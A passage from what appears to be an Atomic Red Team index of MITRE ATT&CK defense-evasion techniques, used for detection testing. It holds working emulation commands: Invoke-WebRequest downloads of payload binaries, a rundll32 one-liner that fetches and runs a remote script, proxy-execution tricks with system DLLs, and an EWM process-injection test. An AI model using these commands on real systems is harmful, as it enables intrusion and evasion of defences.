--- defense-evasion: T1055.011: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298 type: attack-pattern created: '2020-01-14T17:18:32.126Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.011 url: https://attack.mitre.org/techniques/T1055/011 - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx description: Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017. source_name: Microsoft Window Classes - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx description: Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017. source_name: Microsoft GetWindowLong function - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx description: Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017. source_name: Microsoft SetWindowLong function - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html description: MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017. source_name: MalwareTech Power Loader Aug 2013 - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/ description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017. source_name: WeLiveSecurity Gapz and Redyms Mar 2013 - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017. source_name: Microsoft SendNotifyMessage function modified: '2022-04-25T14:00:00.188Z' name: 'Process Injection: Extra Window Memory Injection' description: "Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. \n\nBefore creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' x_mitre_defense_bypassed: - Anti-virus - Application control spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1055.011 atomic_tests: - name: Process Injection via Extra Window Memory (EWM) x64 executable auto_generated_guid: 93ca40d2-336c-446d-bcef-87f14d438018 description: Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique supported_platforms: - windows input_arguments: arch: description: Architecture of payload. One of (x64, x86) type: string default: x64 exe_binary: description: PE binary for EWM injection type: path default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe payload_file: description: raw payload to inject type: path default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin dependency_executor_name: powershell dependencies: - description: 'T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})' prereq_command: 'if (Test-Path #{exe_binary}) {exit 0} else {exit 1}' get_prereq_command: |- New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing executor: command: "#{exe_binary}" cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: false T1205.002: technique: modified: '2022-11-08T14:00:00.188Z' name: Socket Filters description: |- Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020) Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)' x_mitre_platforms: - Linux - macOS - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Tim (Wadhwa-)Brown - CrowdStrike x_mitre_data_sources: - 'Process: Process Creation' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520 created: '2022-09-30T21:18:41.930Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205/002 external_id: T1205.002 - source_name: exatrack bpf filters passive backdoors description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.' url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf - source_name: crowdstrike bpf socket filters description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.' url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/ - source_name: Leonardo Turla Penquin May 2020 description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf - source_name: haking9 libpcap network sniffing description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.' url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1027.011: technique: modified: '2023-10-31T14:00:00.188Z' name: Fileless Storage description: "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Christopher Peacock - Denise Tan - Mark Wee - Simona David - Xavier Rousseau x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Creation' - 'WMI: WMI Creation' type: attack-pattern id: attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939 created: '2023-03-23T19:55:25.546Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/011 external_id: T1027.011 - source_name: SecureList Fileless description: Legezo, D. (2022, May 4). A new secret stash for “fileless” malware. Retrieved March 23, 2023. url: https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/ - source_name: Microsoft Fileless description: Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023. url: https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1218.011: technique: modified: '2023-08-14T15:35:28.965Z' name: 'Signed Binary Proxy Execution: Rundll32' description: "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" \ This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Gareth Phillips, Seek Ltd. - Casey Smith - Ricardo Dias - James_inthe_box, Me x_mitre_deprecated: false x_mitre_detection: |- Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.2' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Metadata' - 'Module: Module Load' x_mitre_defense_bypassed: - Digital Certificate Validation - Application control - Anti-virus type: attack-pattern id: attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5 created: '2020-01-23T18:03:46.248Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/011 external_id: T1218.011 - source_name: rundll32.exe defense evasion description: Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022. url: https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ - source_name: Attackify Rundll32.exe Obscurity description: Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021. url: https://www.attackify.com/blog/rundll32_execution_order/ - source_name: This is Security Command Line Confusion description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ - source_name: Github NoRunDll description: gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021. url: https://github.com/gtworek/PSBits/tree/master/NoRunDll - source_name: Trend Micro CPL description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1218.011 atomic_tests: - name: Rundll32 execute JavaScript Remote Payload With GetObject auto_generated_guid: 57ba4ce9-ee7a-4f27-9928-3c70c489b59d description: "Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. \nThis has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)\n\nNote: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. \n" supported_platforms: - windows input_arguments: file_url: description: location of the payload type: url default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct executor: command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close(); ' cleanup_command: 'taskkill /IM notepad.exe /f ' name: command_prompt - name: Rundll32 execute VBscript command auto_generated_guid: 638730e7-7aed-43dc-bf8c-8117f805f5bb description: | Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched supported_platforms: - windows input_arguments: command_to_execute: description: Command for rundll32.exe to execute type: string default: calc.exe executor: command: 'rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0) ' name: command_prompt - name: Rundll32 execute VBscript command using Ordinal number auto_generated_guid: 32d1cf1b-cbc2-4c09-8d05-07ec5c83a821 description: | Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test. Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/ Upon execution calc.exe will be launched supported_platforms: - windows input_arguments: command_to_execute: description: Command for rundll32.exe to execute type: string default: calc.exe executor: command: 'rundll32 vbscript:"\..\mshtml,#135 "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0) ' name: command_prompt - name: Rundll32 advpack.dll Execution auto_generated_guid: d91cae26-7fc1-457b-a854-34c8aad48c89 description: | Test execution of a command using rundll32.exe with advpack.dll. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml Upon execution calc.exe will be launched supported_platforms: - windows input_arguments: inf_to_execute: description: Local location of inf file type: string default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf dependency_executor_name: powershell dependencies: - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}") ' prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe advpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1, ' name: command_prompt - name: Rundll32 ieadvpack.dll Execution auto_generated_guid: 5e46a58e-cbf6-45ef-a289-ed7754603df9 description: | Test execution of a command using rundll32.exe with ieadvpack.dll. Upon execution calc.exe will be launched Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml supported_platforms: - windows input_arguments: inf_to_execute: description: Local location of inf file type: string default: PathToAtomicsFolder\T1218.011\src\T1218.011.inf dependency_executor_name: powershell dependencies: - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}") ' prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe ieadvpack.dll,LaunchINFSection "#{inf_to_execute}",DefaultInstall_SingleUser,1, ' name: command_prompt - name: Rundll32 syssetup.dll Execution auto_generated_guid: 41fa324a-3946-401e-bbdd-d7991c628125 description: | Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml supported_platforms: - windows input_arguments: inf_to_execute: description: Local location of inf file type: string default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf dependency_executor_name: powershell dependencies: - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}") ' prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 "#{inf_to_execute}" ' name: command_prompt - name: Rundll32 setupapi.dll Execution auto_generated_guid: 71d771cd-d6b3-4f34-bc76-a63d47a10b19 description: | Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml supported_platforms: - windows input_arguments: inf_to_execute: description: Local location of inf file type: string default: PathToAtomicsFolder\T1218.011\src\T1218.011_DefaultInstall.inf dependency_executor_name: powershell dependencies: - description: 'Inf file must exist on disk at specified location ("#{inf_to_execute}") ' prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}" executor: command: 'rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 "#{inf_to_execute}" ' name: command_prompt - name: Execution of HTA and VBS Files using Rundll32 and URL.dll auto_generated_guid: 22cfde89-befe-4e15-9753-47306b37a6e3 description: | IcedID uses this TTP as follows: rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta Trickbot uses this TTP as follows: rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript" supported_platforms: - windows executor: command: | rundll32.exe url.dll,OpenURL "PathToAtomicsFolder\T1218.011\src\index.hta" rundll32.exe URL.dll,FileProtocolHandler "PathToAtomicsFolder\T1218.011\src\akteullen.vbs" name: command_prompt - name: Launches an executable using Rundll32 and pcwutl.dll auto_generated_guid: 9f5d081a-ee5a-42f9-a04e-b7bdc487e676 description: 'Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable. ' supported_platforms: - windows input_arguments: exe_to_launch: description: Path of the executable to launch type: path default: "%windir%\\System32\\notepad.exe" executor: command: 'rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch} ' name: command_prompt - name: Execution of non-dll using rundll32.exe auto_generated_guid: ae3a8605-b26e-457c-b6b3-2702fd335bac description: "Rundll32.exe running non-dll \n" supported_platforms: - windows input_arguments: input_url: description: Url to download the DLL type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll input_file: description: Non-dll file type: string default: C:\Users\$env:username\Downloads\calc.png dependency_executor_name: powershell dependencies: - description: 'Non-dll file must exist on disk at specified location ' prereq_command: 'if (Test-Path #{input_file}) {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}" ' executor: name: powershell command: 'rundll32.exe #{input_file}, StartW ' - name: Rundll32 with Ordinal Value auto_generated_guid: 9fd5a74b-ba89-482a-8a3e-a5feaa3697b0 description: "Rundll32.exe loading dll using ordinal value #2 to DLLRegisterServer. \nUpon successful execution, Calc.exe will spawn.\n" supported_platforms: - windows input_arguments: input_url: description: Url to download the DLL type: url default: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.010/bin/AllTheThingsx64.dll input_file: description: DLL File type: string default: PathToAtomicsFolder\T1218.010\bin\AllTheThingsx64.dll dependency_executor_name: powershell dependencies: - description: 'DLL file must exist on disk at specified location ' prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}" ' executor: name: command_prompt command: 'rundll32.exe "#{input_file}",#2 ' - name: Rundll32 with Control_RunDLL auto_generated_guid: e4c04b6f-c492-4782-82c7-3bf75eb8077e description: "Rundll32.exe loading dll with 'control_rundll' within the command-line, loading a .cpl or another file type related to CVE-2021-40444. \n" supported_platforms: - windows input_arguments: input_url: description: Url to download the DLL type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll input_file: description: DLL File type: string default: PathToAtomicsFolder\T1047\bin\calc.dll dependency_executor_name: powershell dependencies: - description: 'DLL file must exist on disk at specified location ' prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}" ' executor: name: command_prompt command: 'rundll32.exe shell32.dll,Control_RunDLL "#{input_file}" ' - name: Rundll32 with desk.cpl auto_generated_guid: 83a95136-a496-423c-81d3-1c6750133917 description: "Rundll32.exe loading an executable renamed as .scr using desk.cpl \nReference: \n - [LOLBAS - Libraries/Desk](https://lolbas-project.github.io/lolbas/Libraries/Desk/)\nSIGMA rules:\n - [SCR File Write Event](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/file_event/file_event_win_new_src_file.yml)\n \ - [Rundll32 InstallScreenSaver Execution](https://github.com/SigmaHQ/sigma/blob/b53f08b081e0a50099be9b9e8eced82097fdbaf2/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml)\n" supported_platforms: - windows input_arguments: exe_to_launch: description: Path of the executable to launch type: path default: "%windir%\\System32\\calc.exe" executor: name: command_prompt command: | copy #{exe_to_launch} not_an_scr.scr rundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr cleanup_command: del not_an_scr.scr - name: Running DLL with .init extension and function auto_generated_guid: 2d5029f0-ae20-446f-8811-e7511b58e8b6 description: | This test, based on common Gamarue tradecraft, consists of a DLL file with a .init extension being run by rundll32.exe. When this DLL file's 'krnl' function is called, it launches a Windows pop-up. DLL created with the AtomicTestHarnesses Portable Executable Builder script. supported_platforms: - windows input_arguments: dll_file: description: The DLL file to be called type: string default: PathToAtomicsFolder\T1218.011\bin\_WT.init dll_url: description: The URL to the DLL file that must be downloaded type: url default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/bin/_WT.init dependency_executor_name: powershell dependencies: - description: The DLL file to be called must exist at the specified location (#{dll_file}) prereq_command: if (Test-Path "#{dll_file}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory (split-path "#{dll_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "#{dll_url}" -OutFile "#{dll_file}" executor: command: 'rundll32.exe #{dll_file},krnl ' name: command_prompt - name: Rundll32 execute command via FileProtocolHandler auto_generated_guid: f3ad3c5b-1db1-45c1-81bf-d3370ebab6c8 description: | Test execution of a command using rundll32.exe and the FileProtocolHandler technique. Upon execution, calc.exe will be launched. This technique is documented by Levan Abesadze - https://medium.com/@Wolverineisstillalive/system-binary-proxy-execution-rundll32-bypass-method-790871e1f2b7 supported_platforms: - windows input_arguments: command_to_execute: description: Command for rundll32.exe to execute type: string default: calc.exe executor: command: 'rundll32.exe url.dll,FileProtocolHandler #{command_to_execute} ' name: command_prompt - name: Rundll32 execute payload by calling RouteTheCall auto_generated_guid: 8a7f56ee-10e7-444c-a139-0109438288eb description: | Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched. Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml supported_platforms: - windows input_arguments: exe_to_launch: description: Path of the executable to launch type: path default: "'%windir%\\System32\\calc.exe'" executor: command: rundll32.exe zipfldr.dll,RouteTheCall "#{exe_to_launch}" cleanup_command: name: powershell elevation_required: false T1027.009: technique: modified: '2023-09-29T21:14:57.263Z' name: Embedded Payloads description: "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Nick Cairns, @grotezinfosec x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'File: File Metadata' x_mitre_system_requirements: - User type: attack-pattern id: attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1 created: '2022-09-30T18:50:14.351Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/009 external_id: 